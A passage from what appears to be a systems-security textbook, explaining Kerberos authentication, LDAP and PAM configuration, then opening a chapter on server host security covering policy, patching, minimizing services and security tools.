Kerberos authentication is based entirely on the knowledge of passwords that are stored on the Kerberos Server. Unlike Unix passwords, which are encrypted with a one-way algorithm that cannot be reversed, Kerberos passwords are stored on the server encrypted with a conventional encryption algorithm—in most cases, DES—so that they can be decrypted by the server when needed. A user proves her identity to the Kerberos Server by demonstrating knowledge of her key.

The fact that the Kerberos Server has access to the user's decrypted password is a result of the fact that Kerberos does not use public key cryptography.[220] This is a serious disadvantage of the Kerberos system. It means that the Kerberos Server must be both physically secure and "computationally secure." The server must be physically secure to prevent an attacker from stealing the Kerberos Server and learning all of the users' passwords. The server must also be immune to login attacks: if an attacker could log onto the server and become *root*, that attacker could, once again, steal all of the passwords.

Kerberos was designed so that the server can be stateless. The Kerberos Server simply answers requests from users and issues tickets (when appropriate). This design makes it relatively simple to create replicated, secondary servers that can handle authentication requests when the primary server is down or otherwise unavailable. Unfortunately, these secondary servers need complete copies of the entire Kerberos database, which means that they must also be physically and computationally secure.

Initial login

Logging into a workstation that is using Kerberos looks the same to a user as logging into a regular computer. You type your username and password, and if they are correct, you get logged in. Accessing files, electronic mail, printers, and other resources all work as expected.

What happens behind the scenes, however, is far more complicated. When the workstation's login process, *sshd*[221], other network daemon, or authentication library (such as *PAM*) knows about Kerberos, it uses the Kerberos system to authenticate the user.

First, the Kerberos client needs to know where to find Kerberos servers. This can be configured manually on each client (traditionally in the *krb5.conf* file), or Kerberos servers can be advertised through DNS SRV records. IETF Internet-Draft draft-ietf-krb-wg-krb-dns-locate describes this approach.

With Kerberos 4, the workstation sends a message to the Kerberos Authentication Server[222] after you type your username. This message contains your username and indicates that you are trying to log in. The Kerberos Server checks its database and, if you are a valid user, sends back a ticket granting ticket that is encrypted with a cryptographic digest of your password. The workstation then asks you to type in your password and finally attempts to decrypt the encrypted ticket using the password that you've supplied. If the decryption is successful, the workstation then forgets your password, and uses the ticket granting ticket exclusively. If the decryption fails, the workstation knows that you supplied the wrong password and it gives you a chance to try again.

[220] Public key cryptography was not used because it was still under patent protection at the time that Kerberos was developed. There is a current IETF Internet Draft entitled "Public Key Cryptography for Initial Authentication in Kerberos" that proposes methods for combining public key smartcards with Kerberos. This draft has been implemented in Microsoft's Kerberos.

[221] Patches for OpenSSH to use Kerberos 5 for authentication are available at http://www.sxw.org.uk/computing/ patches/openssh.html. Although Kerberos 4 has also been used with SSH, it's much more difficult to make the two systems interoperate. Fortunately, the SSH protocol version 2 can use the same security layer (GSSAPI) as Kerberos 5, which simplifies things considerably. The IETF Internet-Draft that covers the combination of these systems is draft-ietf-secsh-gsskeyex.

[222] According to the Kerberos papers and documentation, there are two logical Kerberos Servers: the Authentication Server and the Ticket Granting Service. Some commentators think that this is disingenuous, because all Kerberos systems employ a single physical server, the Kerberos Server or Key Server.

With Kerberos 5, the workstation waits until after you have typed your password before contacting the server. It then sends the Kerberos Authentication Server a message consisting of your username and the current time encrypted with your password. The Authentication Server looks up your username, determines your password, and attempts to decrypt the encrypted time. If the server can decrypt the current time (and the value is indeed current), it then creates a ticket granting ticket, encrypts it with your password, and sends to you.[223]

The ticket granting ticket is a block of data that contains a session key and a ticket for the Kerberos Ticket Granting Service, encrypted with both the session key and the Ticket Granting Service's key. The user's workstation can now contact the Kerberos Ticket Granting Service to obtain tickets for any principal within the Kerberos realm—that is, the set of servers and users that are known to the Kerberos Server.

For example, when the user first tries to access his files from a Kerberos workstation, system software on the workstation contacts the Ticket Granting Service and asks for a ticket for the File Server Service. The Ticket Granting Service sends the user back a ticket for the File Server Service. This ticket contains another ticket, encrypted with the File Server Service's password, that the user's workstation can present to the File Server Service to request files. The contained ticket includes the user's authenticated name, the expiration time, and the Internet address of the user's workstation. The user's workstation then presents this ticket to the File Server Service. The File Server Service decrypts the ticket using its own password, then builds a mapping between the (UID, IP address) of the user's workstation and a UID on the file server. Kerberos puts the time of day in requests to prevent an eavesdropper from intercepting a request and retransmitting it from the same host at a later time in a replay attack.

Kerberos offers several security advantages. Passwords are stored on the Kerberos Server, not on the individual workstations, and are never transmitted on the network – encrypted or otherwise. The Kerberos Authentication Server is able to authenticate the user's identity, because the user knows the user's password, and similarly, the user is able to authenticate the Kerberos Server's identity, because the Kerberos Authentication Server knows the user's password. Other Kerberos services can authenticate the user because the user will present a ticket that is known to have been issued by the Ticket Granting Service because it is encrypted with the target service's key.

An eavesdropper who intercepts a ticket from the Kerberos Server can't use it, because it is encrypted using a key (for a Kerberos service or derived from the user's password) that the eavesdropper doesn't know.

Authentication, data integrity, and secrecy

Kerberos is a general-purpose system for sharing secret keys between principals on the network. Normally, Kerberos is used solely for authentication. However, the ability to exchange keys can also be used to ensure data integrity and secrecy.

If eavesdropping is an ongoing concern, all information transmitted between the work-station and the service can be encrypted using a key that is exchanged between the two principals. Unfortunately, encryption carries a performance penalty. At MIT, encryption was used for transmitting highly sensitive information such as passwords, but was not used for most data transfer, such as files and electronic mail.
Tickets issued by Kerberos expire after eight hours, a technique designed to prevent a replay attack.[224] Thus, after eight hours, you must run the *kinit* program, and provide your username and password a second time, to be issued a new ticket for the Kerberos Ticket Granting Service.

[223] Why the change in protocol? Kerberos 4 attempts to minimize the amount of time that the user's password is stored on the workstation. Unfortunately, this makes Kerberos 4 susceptible to offline password-guessing attacks against the ticket granting ticket. With Kerberos 5, the workstation must demonstrate to the Kerberos Authentication Server that the user knows the correct password. This is a more secure system, although the user's encrypted ticket granting ticket can still be intercepted as it is sent from the server to the workstation by an attacker and attacked with an exhaustive key search.

[224] A different window may be chosen at some sites.

For single-user workstations, Kerberos provides significant additional security beyond that of regular passwords. However, if two people are logged into the workstation at the same time, then the workstation will be authenticated for *both* users. These users can then pose as each other. This threat is so significant that at MIT, remote login services were disabled on workstations to prevent an attacker from logging in while a legitimate user was being authenticated. It is also possible for someone to subvert the local software to capture the user's password as it is typed (as with a regular system).

Getting Kerberos

Kerberos or Kerberos- like security systems are now available from several companies, as well as being a standard part of several operating systems, including Solaris, Mac OS X, and many Linux and BSD distributions. A version of Kerberos 5 has been included in Microsoft Windows from the Windows 2000 release onwards. It is possible (with some effort) to make Kerberos interoperable between Unix machines and Windows platforms.[225]

If you need to install Kerberos from scratch, the MIT Kerberos source code is available to United States and Canadian citizens from *http://web.mit.edu/kerberos/www/* and to others from http://www.crypto-publish.org. You can also find official updates, patches, and bug announcements. Kerberos has had several bugs discovered, so it is important that you ensure that you are using the most recent version of the code. There is also a free software implementation of Kerberos called Heimdal that is under active development; it is largely compatible with MIT's Kerberos. You can get Heimdal at *http://www.pdc.kth.se/heimdal/*. The changes required to your system's software are substantial if you need to do it yourself; see the documentation provided with Kerberos for details.

Kerberos and LDAP

Kerberos mixes well with LDAP (discussed in the next section). Kerberos can be used to authenticate and secure LDAP queries and updates. Conversely, the LDAP database can store information about users that is more extensive than the data maintained by Kerberos alone, such as the user's home directory, shell, phone number, or other organizational information. Together, the two services can provide all of the functionality of NIS or NIS+, and they are being increasingly used to do so. Jason Heiss provides a good guide to this process on his page "Replacing NIS with Kerberos and LDAP" at *http://www.ofb.net/~jheiss/krbldap/*

LDAP is sometimes used to store Kerberos keys. The Windows implementation of Kerberos uses Microsoft's Active Directory Service (a flavor of LDAP) to store Kerberos keys. Heimdal Kerberos supports this functionality. MIT Kerberos does not, out of concern that sensitive security infrastructure should be centralized at the Kerberos server, rather than distributed via LDAP.

Kerberos Limitations

Although Kerberos is an excellent solution to a difficult problem, it has several short-comings:

Every network service must be individually modified for use with Kerberos
Because of the Kerberos design, every program that uses Kerberos must be modified. The process of performing these modifications is often called "Kerberizing" the application. Typically, to Kerberize an application, you must have the application's source code, or the application must use a security framework that already incorporates Kerberos, such as PAM (discussed at the end of this chapter).

[225] Note, however, that Microsoft has made proprietary modifications to the Kerberos protocol which have the effect of forcing Windows clients to use Kerberos servers running on Windows servers. In a mixed Unix-Windows environment, the Windows 2000 machine must be the Kerberos server to provide full functionality.

Kerberos doesn't work well in a time-sharing environment
Kerberos is designed for an environment in which there is one user per workstation. If a user is sharing the computer with several other people, it is possible that the user's tickets can be stolen — copied by an attacker. Stolen tickets can then be used to obtain fraudulent service.

Kerberos requires a secure and available Kerberos Server
By design, Kerberos requires that there be a secure central server that maintains the master password database and that is continuously available. To ensure security, a site should use the Kerberos Server for absolutely nothing beyond running the Kerberos Server program. The Kerberos Server must be kept under lock and key, in a physically secure area. If the Kerberos Server goes down, the Kerberos network is unusable.

The Kerberos Server stores all passwords encrypted with the server's master key, which happens to be located on the same hard disk as the encrypted passwords. This means that, in the event that the Kerberos Server is compromised, all user passwords must be changed.

Kerberos does not protect against modifications to system software (Trojan horses)
Kerberos does not have the local workstation authenticate itself to the user—that is, there is no way for a user sitting at a computer to determine whether the computer has been compromised. This failing is easily exploited by a knowledgeable attacker. These problems are consequences of the fact that, even in a networked environment, many workstations contain local copies of the programs that they run.

Kerberos may result in a cascading loss of trust
If a server password or a user password is broken or otherwise disclosed, it is possible for an eavesdropper to use that password to decrypt other tickets and use this information to spoof servers and users.

Kerberos is a workable system for network security, and it is widely used. But more importantly, the principles behind Kerberos are increasingly available in network security systems that are available directly from vendors.

LDAP

The Lightweight Directory Access Protocol (LDAP) is a low-overhead version of X..500-base directory access service. It provides for the storage of directory information (including, for authentication systems, usernames and passwords) with access and update over a secure network channel. There are two major versions of LDAP. LDAPv2, described in the 1995 RFC 1777, provides no security for passwords unless it is implemented in conjunction with Kerberos. LDAPv3, described in RFC 2251, adds support for SASL (the Simple Authentication and Security Layer, RFC 2222). SASL provides several additional approaches to secure password authentication (including Kerberos!) Furthermore, both the most widely-used open source implementation of LDAPv3 (OpenLDAP 2.x) and the most widely-used commercial implementation (Microsoft's Active Directory in versions beginning with Windows 2000), support the use of SSL/TLS to secure the entire communication link between client and server, including the authentication process.

On its own, LDAP provides general directory services. For example, many organizations deploy LDAP to organize their employee phone, e-mail, and address directory, or directories of computers on the network. We discuss LDAP in this chapter because it can form the basis of an authentication and network information system, and because it is increasingly being used for that purpose, particularly on Windows and Linux systems.

LDAP: The Protocol

The LDAP server's data is organized as a tree of entries, each belonging to one or more object classes, and each containing attributes with values. Every entry contains a *cn* (common name) attribute that distinguishes it from others with the same parent in the tree.

For example, an entry belonging to the "posixAccount" object class includes attributes that specify the user's full name (*cn*), login name (*uid*), user and group id numbers (*uidNumber and gidNumber*), home directory (*homeDirectory*), login shell (*loginShell*), and other user data.

In LDAP terms, a *schema* is a collection of logically associated object classes and the definitions of their attributes. The posixAccount object class is defined in the network information service schema (*nis.schema*).

LDAP is a client-server protocol. The LDAP client sends requests to the LDAP server, and receives responses back. Clients can send requests to modify the server's data store, or to search it and return one or more attributes of a particular entry, or a whole subtree of entries.

Integrity and Reliability

Modern LDAP servers (e.g. Active Directory or OpenLDAP 2.x) provide several important features to ensure the integrity of the data and the reliability of the system:

Data integrity and confidentiality
The LDAP server can accept connections secured by TLS, and can provide end-to-end encryption of the client-server interaction. In addition, TLS makes unauthorized modification of the data stream infeasible.

Server authentication
To support TLS, the LDAP server is assigned a cryptographic public-key certificate, signed by a trusted certifying authority. LDAP clients with the certificate of the certifying authority can assure themselves that they are communicating with the server they intended to communicate with.

Client authentication
LDAP servers can also demand TLS certificates from clients, thus insuring that only authorized clients can query or update the server.

Replication
An LDAP server can replicate entire LDAP datastores onto secondary servers to provide redundancy should the master server fail.

LDAP is a powerful and flexible alternative to NIS or NIS+. Its primary advantages include its ability to store and serve non-authentication data as well as authentication information, and the availability of TLS-secured communication. Its primary disadvantage is that updating the LDAP database is more complex than updating an NIS master, but several tools have been developed to simplify LDAP administration.

Authentication with LDAP

RFC 2307 describes an approach to using LDAP as a network information system. Although this RFC does not specify an Internet standard, its mechanisms are widely used, and a schema to implement them (*nis.schema*) is included

with OpenLDAP 2.x. The schema defines object classes that represent users (posixAccount and shadowAccount), groups (posixGroup), services (ipService), protocols (ipProtocol), remote procedure calls (oncRPC), hosts (ipHost), networks (ipNetwork), NIS netgroups (nisNetgroup, nisMap, nisObject), and more.

Each service that authenticates users must be rewritten to perform an LDAP lookup; this is analogous to the "Kerberizing" process that Kerberos requires. This approach is simple for operating systems like Microsoft Windows that require that all authentications use a vendor-distributed API – very little rewriting of client software is necessary.

For Unix-based operating systems, this approach is inefficient. Instead, two alternatives have been developed, released as open source software by PADL Software Pty, Ltd., and included with most Linux distributions. One, *nss_ldap*, modifies the C library functions for getting user information (such as *getpwent()*) to transparently use an LDAP database instead of (or along with) local files, NIS, and so on. Many systems already allow these functions to use a variety of information sources by means of a "name service switch" file (usually */etc/nsswitch.conf*). See PUIS, 450-453 for details on configuring authentication using libnss_ldap.

Another approach is to use the PAM framework, discussed in the next section. LDAP authentication is implemented as a PAM module, *pam_ldap*. Unlike *libnss_ldap*, *pam_ldap* provides only user authentication against the LDAP database; it does not distribute other data-base information. If your LDAP server is using the standard *nis.schema*, adding LDAP authentication to a PAM-controlled service is as easy as adding a line to its PAM configuration file that specifies *pam_ldap.so* as sufficient for authentication, account verification, and password updating.

Pluggable Authentication Modules (PAM)

Because there are so many ways to authenticate users, it's convenient to have a unified approach to authentication that can handle multiple authentication systems for different needs. The Pluggable Authentication Modules (PAM) system is one such approach. PAM was originally developed by Sun, and implementations are available for Solaris, FreeBSD, and especially Linux, where most PAM development is now centered. PAM provides a library and API that any application can use to authenticate users against a myriad of authentication systems. Each authentication system that PAM knows about is implemented as a PAM module, which in turn is implemented as a dynamically-loaded shared library, PAM modules are available to authenticate users through:

o /etc/passwd or /etc/shadow files
o NIS or NIS+
o LDAP
o Kerberos 4 or 5
o An arbitrary Berkeley DB file[226]

Each PAM-aware service is configured either in the /etc/pam.conf file or, more commonly, in its own file in the */etc/pam.d* directory. For example, the PAM configuration file for the ssh server in Linux distributions is */etc/pam.d/sshd*. A service named "other" is used to provide defaults for PAM-aware services that are not explicitly configured. Here is an example of a PAM configuration file for sshd on a Linux server:

```
auth    required  /lib/security/pam_env.so
auth    sufficient /lib/security/pam_unix.so
auth    required  /lib/security/pam_deny.so

account required /lib/security/pam_unix.so
```

[226] If that's not enough layers for you, some applications, such as SMTP authentication in sendmail or access to mailboxes managed by the Cyrus imapd server, use the Cyrus SASL (simple authentication and security layer) authentication library, which can authenticate users with a separate database or through PAM! It is not inconceivable that you might find SASL using PAM using LDAP to authenticate a user's imap connection.

```
password required /lib/security/pam_cracklib.so retry=3
password sufficient /lib/security/pam_unix.so nullok use_authtok md5 shadow
password required  /lib/security/pam_deny.so

session required  /lib/security/pam_limits.so
session required  /lib/security/pam_unix.so
```

The "auth" lines describe the authentication process for this service, which proceeds in the order specified. Modules marked "required" must run successfully for authentication to progress — if they fail, the user is considered unauthenticated and generally will be denied access. Multiple "required" modules can be specified; in these cases, all of the modules must run successfully. Modules marked "sufficient," if run successfully, are sufficient to authenticate the user and end the authentication process.

In this example, the first module run is *pam_env*, which optionally sets or clears environment variables specified in */etc/security/pam_env.conf*. This module is required — it must run successfully for authentication to proceed. The next module run is pam_unix, which performs authentication with the usual Unix password files, */etc/passwd* and */etc/shadow*. If this succeeds, it is sufficient to authenticate the user, and the process is complete. The final authentication module is *pam_deny*, which simply fails, ending the process with authentication unsuccessful.

This particular configuration file will also enforce any account aging or expiration rules of the system, and set resources limits on the user's *sshd* session. If *sshd* provided a password-changing function, this configuration file would also prevent the user from changing his password to an easily guessable one, and store passwords in */etc/shadow* encrypted by the MD5 cryptographic hash function.

The PAM subsystem can be configured in a number of different ways. For instance, it is possible to require two or three separate passwords for some accounts,[227] combine a biometric method along with a passphrase, or pick a different mechanism depending on the time of day. It is also possible to remove the requirement of a password for hard-wired lines in highly secured physical locations. PAM allows the administrator to pick a policy that best matches the risk and technology at hand.

PAM can do a lot more than authentication, as the examples above suggest. One of its strengths is that it clearly delineates four phases of the access process: verification that the account is viable for the desired service at the desired time and from the desired location (the account phase), authentication of the user (the auth phase), updating passwords and other authentication tokens when necessary (the password phase), and setting up and closing down the user's session (the session phase), which can include limiting resource access and establishing audit trails.

[227] This is of questionable value when the same user holds all of the passwords. This approach can be valuable when the passwords are assigned to different users, so that any login requires two or more people, and creates a "witness" trail.

CHAPTER 6.
SERVER SECURITY

At a Glance

Server security is the security of the computer on which your Internet servers are running. This chapter discusses some of the most common security problems that affect computers being used to offer information services and describes how to build servers that minimizes these problems. This chapter discusses general host security first, and then application security issues for mail servers, file servers, web servers, database servers, and name servers.

Host Security

Many organizations that run servers on the Internet simply do not secure their servers against external attack. People still pick easy-to-guess passwords, and many passwords are simply "sniffed" out of the Internet using a variety of readily available packet sniffers.

Today there are literally thousands of organized and semi-organized groups of attackers—all exchanging information regarding computer vulnerabilities and exploits. Techniques, and in many cases complete programs for penetrating system security, are now widely distributed by e-mail, through newsgroups, on web pages, and over Internet Relay Chat (IRC). Tools for compromising security—password sniffers, denial-of-service exploits, and prepackaged Trojan horses—are distributed as well.

Attackers now use automated tools to search out vulnerable computers and, in some cases, to automatically break in, plant back doors, and hide the damage. High-speed Internet connections have made it possible for attackers to rapidly scan and attack millions of computers within a very short period of time.

The Honeynet Project (*http://project.honeynet.org/*) is an open Internet research project that is attempting to gauge the scale of the attacker community by setting up vulnerable computers on the Internet and seeing how long it takes before the computers are compromised. The results are not encouraging. In June 2001, for instance, the Honeynet Project announced that it took only 72 hours, on average, before somebody breaks into a newly installed Red Hat 6.2 system using one of the well-known exploits. A typical system on the Internet is scanned dozens of times a day. Windows 98 computers with file sharing enabled—a typical configuration for many home users—are scanned almost once an hour and typically broken into in less than a day. In one case, a server was hacked only 15 minutes after it was put on the network.

It's tempting to approach host security as a checklist of *do's* and *don'ts* for computers and networks. After all, to damage a computer, an attacker must have access. So in theory, to operate a secure system, all you need to do is to block all of the venues by which an attacker can get access, and the resulting system will be secure.

In practice, however, it has proved nearly impossible to have a computer that offers services over the network and yet still denies all access to attackers. Often access comes through unintended holes, such as a carelessly coded CGI script, or a buffer overflow attack that is known to the attacker but not the computer's operators.

For more than a decade, there have been nine widespread practices on the Internet that make host security far worse than it needs to be. These practices are:

- Failure to think about security as a fundamental aspect of system setup and design (establishing policy)
- Purchase and configuration of computing systems based on issues of cost or compatibility rather than on the desired functionality and security needs

- Failure to obtain and maintain software that's free of all known bugs and security holes
- Running unnecessary services
- Transmitting of plaintext, reusable passwords over networks
- Failure to track security developments and take preventative action
- Failure to use security tools properly, if they are used at all
- Lack of adequate auditing and logging (discussed in chapter 5-5)
- Lack of adequate backup procedures (discussed in chapter 5-3)

Security Through Policy

Security is defined by policy. In some environments, every user is allowed to install or modify the organization's web pages. In others, only a few users are allowed to even read the pages. In some environments, any user can shut down or reboot the system. In others, it requires signed authorization from the CIO to so much as replace a file.

Policy helps users understand what is allowed. Policy guides administrators and managers in making choices about system configuration and use. Policy helps designers create systems that realize the organization's goals. The most basic security policy is a clear statement of what actions are allowed and disallowed, and by whom. Standards and guidelines should include the answers to these questions:

- Who is allowed access, what is the nature of that access, and who authorizes such access?
- Who is responsible for security, for upgrades, for backups, and for maintenance?
- What kinds of information may be served?
- Which sites and external users are to be allowed access to data served?
- What kinds of testing and evaluation must be performed on software and pages before they are installed?
- How will complaints and requests about the server and content be handled?
- How should the organization react to security incidents?
- Who is allowed to speak to members of the press, law enforcement, and other entities outside the organization in the event of questions or an incident?
- How and when should the policy itself be updated?

Your policy documents should be written and made available to everyone associated with your organization. Care given to the development of the policy can head off lots of potential problems.

One often-overlooked policy issue is how to dispose of storage devices. The hard drives of your servers, your old backup tapes, and even your user workstations, may contain valuable and private data. In addition to protecting them from compromise while they are in operation, be sure you have a policy that provides for their sanitization or thorough destruction when they go out of operation. Sanitizing hard drives, for example, is surprisingly difficult.

Choosing Your Vendor

Today there are many choices for organizations setting up information servers. Should your computer run Windows, Mac OS, Unix, or a "free" Unix-like operating system? Should your computer system use an Intel-compatible microprocessor, or a SPARC, PowerPC, or another processor? Should you purchase the computer with or without support? What level of support is appropriate?

Many purchase decisions are based on factors such as the cost of the system, the reputation of the vendor, and the experience of the person making the purchase. Few organizations base their purchase decisions on the security of the underlying system.

Some vendors and platforms have better security pedigrees than the others, because different manufacturers value code quality and security differently. But the size of the user base also affects the security that a system will provide—even relatively secure systems can become "unsecure" in the face of a large number of well-funded adversaries who widely publicize their findings.

One of the biggest threats to the security of your system is the presence of software *faults* or *bugs*. These can cause your system to crash, corrupt your information, or, worst of all, allow outsiders unauthorized access. It is stunning to see how many organizations are willing to operate mission-critical systems on "beta" or "pre-beta" software releases.

As a large number of web sites are based on Windows NT running on Intel-compatible microprocessors, there is an incredibly high incentive for attackers to find vulnerabilities with this configuration.[228] For this reason, some organizations have decided to deploy uncommon configurations—such as OpenBSD running on Solaris SPARC computers—simply because fewer attackers have experience with these systems. For example, if security is your primary concern in running a web server, consider running your web server on a Macintosh computer running the OS 7, OS 8, or OS 9 operating systems. Because these versions of the Macintosh operating system were not delivered with a command-line interpreter, it is extremely difficult for attackers to break into the system and run programs of their own choosing. They also don't come with dozens of network services enabled that can be compromised. And Apple has a very good history of providing carefully written, apparently bug-free code.

While the underlying operating system is important, equally important are the applications and the customized software that are layered on top of this base. A secure underlying system can be made vulnerable by a single vulnerable script that was written by a consultant to provide additional functionality.

Some steps that you should follow before specifying and deploying a new system include:

- Determine which vendors have the best reputation for producing bug-free, well-documented software. Find out what specific measures your vendors use to assure high security—such as the security criteria that they employ, data flow analysis, code audits, and/or penetration testing. Ask the vendors for copies of their metrics and test evaluations from reviews. You might also check the historical trends associated with the discovery and reporting of security flaws in software by that vendor. One source may be found at *http://www.securityfocus.com/vdb/stats.html*. (Because of the evolution in generally accepted methods of flaw discovery and reporting, we suggest that you don't use figures before 1997 or so in your evaluation, as they may not be reliable.)
- Investigate how your proposed vendors respond to reports of security or performance-relevant faults in their products. Is your proposed vendor timely and open in dealing with problems? Some vendors have a history of ignoring users unless there is significant bad press from complaints or incidents. These vendors should be avoided.
- Explore the importance your vendor attributes to good design, with issues of security, safety, and user interfaces. Systems resistant to attacks and user mistakes are much better to use in situations where you need dependable operation.
- Determine whether your organization would be better off using "old-generation" software for which the problems are presumably well-known, or "leading-edge" software that offers new features.
- Choose the system with the least number of features that does what you want well. Hardware is relatively inexpensive: buying a system to devote to a reduced configuration for a web server (for example) may be a better purchase than a clone of one of your standard systems that results in a massive break-in.

Here are some things to request or require when shopping for software and systems:

[228] There are other reasons why Microsoft products seem to be a favorite of attackers. These include the large numbers of vulnerabilities that keep being discovered, the complexity of the software which makes the software difficult for administrators to secure, and the simple fact that Microsoft is disliked by many people.

- Proof that good software engineering practices were followed in the design, coding, and testing of the software.
- Documentation showing the results of testing the software and system in environments similar to yours. Ideally, testing should include both operational testing and stress testing.
- A written statement of the vendor's policy for accepting, documenting, and responding to reports of faults in the product.
- A written statement of how the vendor notifies customers of newly fixed security flaws. (The most responsible vendors release notices through FIRST teams and through customer mailing lists; the least responsible vendors never announce fixes, or bury them in lists of other bug fixes in obscure locations.)
- Examples of previous notifications and bug fixes.

Although the computer industry is beginning to take computer security seriously, no software vendor will warrant its products against losses related to unsecured code—not even the vendors of security products. A few insurance companies are now issuing policies to cover losses from break-ins and defacements of web sites. You should investigate these policies to see if there are different rates for different systems. As time goes on, rates should adjust to reflect the configurations that present less risk (and thus warrant smaller premiums).[229]

Obtaining and Maintaining Software

Once you have decided upon a vendor, hardware platform, and software, you need to install everything. Installation is an extremely important process. Frequently, mistakes made during installation can come back to haunt you after you have brought your system online and gone on to other projects. So take your time and be certain of what you are doing.

Conducting an inventory

Inventory all of your systems. Write down the serial numbers, the amount of RAM, the kinds of processors, option cards, and other hardware configuration options. Make sure that you have copies of this information in at least two locations—one easy way to do so is to type the information into a spreadsheet and e-mail a copy to yourself at home. This information will be useful for diagnosing performance issues. If you suffer a theft or loss, it will be useful for insurance purposes, too.

You should also inventory your software. For each product, note the vendor, the distribution, and the release. If you have software that comes with activation codes, it may be useful to record these as well. However, if you record the activation codes, you should attempt to secure them, because the distribution of activation codes could be considered software piracy by some vendors.

Be sure that you save all of the original packing material, documentation, blow-in inserts, and other information that comes with your computers and software. This can be critical if you are returning the equipment or need to relocate it. It is also surprising how many companies put vital information on seemingly innocuous printouts. Frequently, last minute inserts can be security or safety warnings, so be sure to at least glance at every piece of paper that you receive with your hardware and software.

Installing software and patches

Before you start to install the software for your computer, check the web site of each vendor to make sure you have all of the security patches and bug fixes for the version of the software that you intend to install. It is a good idea to read the release notes for both the base operating system and the patches. Some vendors distribute patches

[229] As of late 2001, at least one insurance company charges higher premiums to customers using Windows and/or IIS as platforms.

that must be installed in a particular order—installing the patches out of order can sometimes result in security vulnerabilities being reintroduced!

If at all possible, you should disconnect your computer from the Internet at the start of the installation procedure and not connect it until you are finished. There are many recorded cases of computers connected to the Internet being compromised between the time that the computer's base operating system was installed and the time that the patches were going to be installed. Unfortunately, it is increasingly difficult to install updates and register without software being connected to the Internet.

Once you have made sure that your computer is not connected to the Internet, install the computer's base operating system, any operating system patches, then the application programs and the application patches. Keep a notebook and record every specific action that you take. Such a log can be immensely useful if you are going to be installing several computers and hope to delegate the activity to others.

At this point, before any further work is done, you should make a complete backup of the computer system. This backup will be invaluable if your computer is compromised by an attacker or a hardware failure. After your first backup is finished, you can make any local customizations that are required. You should then make a second backup of your computer system onto a different tape, CD, or disk.

Finally, make sure that all of the distribution software and the backups are stored in a place that is safe and will not be forgotten. Make sure that physical access to the computer is restricted. You may also wish to remove the floppy disk drive or CDs to make it more difficult for a person who has physical access for a brief period of time to compromise your server.

Minimizing Risk by Minimizing Services

An important way to minimize the threats to your server is by minimizing the other services that are offered by the computer on which the server is running. If you don't need a service, disable it. By eliminating all non-essential services, you eliminate potential avenues through which an attacker could break into your system. One implication of this principle is that, when possible, you should separate services onto different computers: DNS servers, mail servers, web servers, file servers, etc.

Some services, such as *finger, netstat, systat*, and *rwho*, should be routinely disabled because they provide sensitive information to outsiders. Others, like *chargen* and *echo* can be used for denial of service attacks. Network services that transmit reusable unencrypted passwords, like *telnet* and (non-anonymous) FTP, or that authenticate users by IP address, like *rlogin* and *rsh*, should be disabled in favor of secure alternatives, like ssh or one-time password systems.

On a Unix server, you can easily restrict unneeded services by commenting out appropriate lines in *inetd.conf*. Another small handful of services that run as standalone daemons (portmapper is an example) can be eliminated in the "rc" files, found in the files */etc/rc* and */etc/rc.local*, and the subdirectories below */etc/rc.d*, */etc/init.d*, and */usr/local/etc/rc.d*. You can also use TCP wrappers and host-based firewalls to control access to services, as described in chapter 5-6.

Disabling IP services with an NT or Windows 2000 system is a little trickier, because settings are sprinkled throughout the registry, and some services have to be functioning for the sake of NT. Many NT services can be audited and disabled using the Services control panel. The good news is that NT servers come with built-in access list capability. You can use this to prohibit all traffic to certain ports, and thereby achieve the same results as you would by shutting down services. (You can set IP filtering under the Control Panel's advanced TCP/IP settings.)

Another variation on minimizing services is minimizing privileges. Servers that don't have to run as the superuser or Administrator shouldn't; those that must should give up superuser privileges as soon as possible if they can. In many cases, each different kind of server process should run with its own uid and group. Servers that can be restricted to a small area of the filesystem (using the *chroot()* or *jail()* system calls) should be.

Keeping Abreast of New Vulnerabilities

In today's environment, you must stay abreast of newly discovered vulnerabilities if you wish to maintain a secure computer that is connected to the Internet. Vulnerabilities are usually publicized with breathtaking speed once they are discovered. What's more, once a vulnerability is known, exploits are quickly developed and distributed across the Internet. In many cases, system administrators only have a few hours between the time that a vulnerability is first publicized and the time when they will start to be attacked with it.

Monitor bulletins issued by your vendors and that install security-related patches as soon as they are made available. Most vendors have mailing lists that are specifically for security-related information. Another source of information are FIRST[230] teams such as the CERT/CC (Computer Emergency Response Team, Coordination Center) at the Software Engineering Institute. The CERT/CC collects reports of computer crime, provides the information to vendors, and distributes information from vendors regarding vulnerabilities of their systems. Because CERT/CC and many other response teams do not make information available in a timely fashion, however, don't depend on them as your primary information source.

As a backup, you might also subscribe to one or two of the security-related mailing lists, such as *nt-security, bugtraq*, and *firewalls*.

Using Security Tools

A security tool is a special program that you can run to evaluate or enhance the security of your site. Many security tools that are available today were developed at universities or by independent specialists and are freely distributed over the Internet. There are also several good tools that are marketed commercially.
There are five kinds of tools that you should consider using:

- Tools that scan your system for potential weaknesses that a local user could exploit
- Tools that monitor your system over time, looking for unauthorized changes (see Chapter 5, Auditing and Forensics for complete discussion)
- Tools that scan your network, looking for network-based weaknesses
- Tools that monitor your system and network to identify attacks in progress
- Tools that record all network activity for later analysis

Automated tools are (usually) a low-cost, highly effective way to monitor and improve your system's security. Some of these tools are also routinely employed by attackers to find weaknesses in sites around the Internet. Therefore, it behooves you to obtain your own tools and use them on a regular basis.

Snapshot tools

A *snapshot* or *static audit tool* will scan your system for weaknesses and report them to you. For example, on your Unix system a tool might look at the */etc/passwd* file to ensure that it is not writeable by anyone other than the superuser. Snapshot tools perform many (perhaps hundreds) of checks in a short amount of time.

[230] Forum of Incident Response and Security Teams, the worldwide consortium of major computer incident response groups. Visit http://www.first.org for more information.

An up-to-date Unix snapshot tool is Tiger, from Texas A&M University. Tiger runs on a wider variety of operating systems and is easy to install. Several packages are available in the Windows world. The Kane Security Analyst (KSA) from Intrusion Detection, Inc. (*http://www.intrusion.com/*) will check passwords and permissions (ACL), and monitor data integrity. NAT is a free tool for assessing NetBIOS and NT password security made available by Security Advisors (*http:// www.secnet.com)*. *Two tools for checking NT passwords are ScanNT, written by Andy Baron* (*http://www.ntsecurity.com/Products/ScanNT/index.htm*), and L0pht Crack, by the "computer security researchers" at L0pht Heavy Industries (now part of @Stake).

A snapshot program should be run on a regular basis—no less than once a month and probably at least once a week. Carefully evaluate the output of these programs, and follow up if possible. Don't leave the output from a snapshot security tool in a place that is accessible to others: by definition, the holes that they can find can easily be exploited by attackers.

Network scanning programs

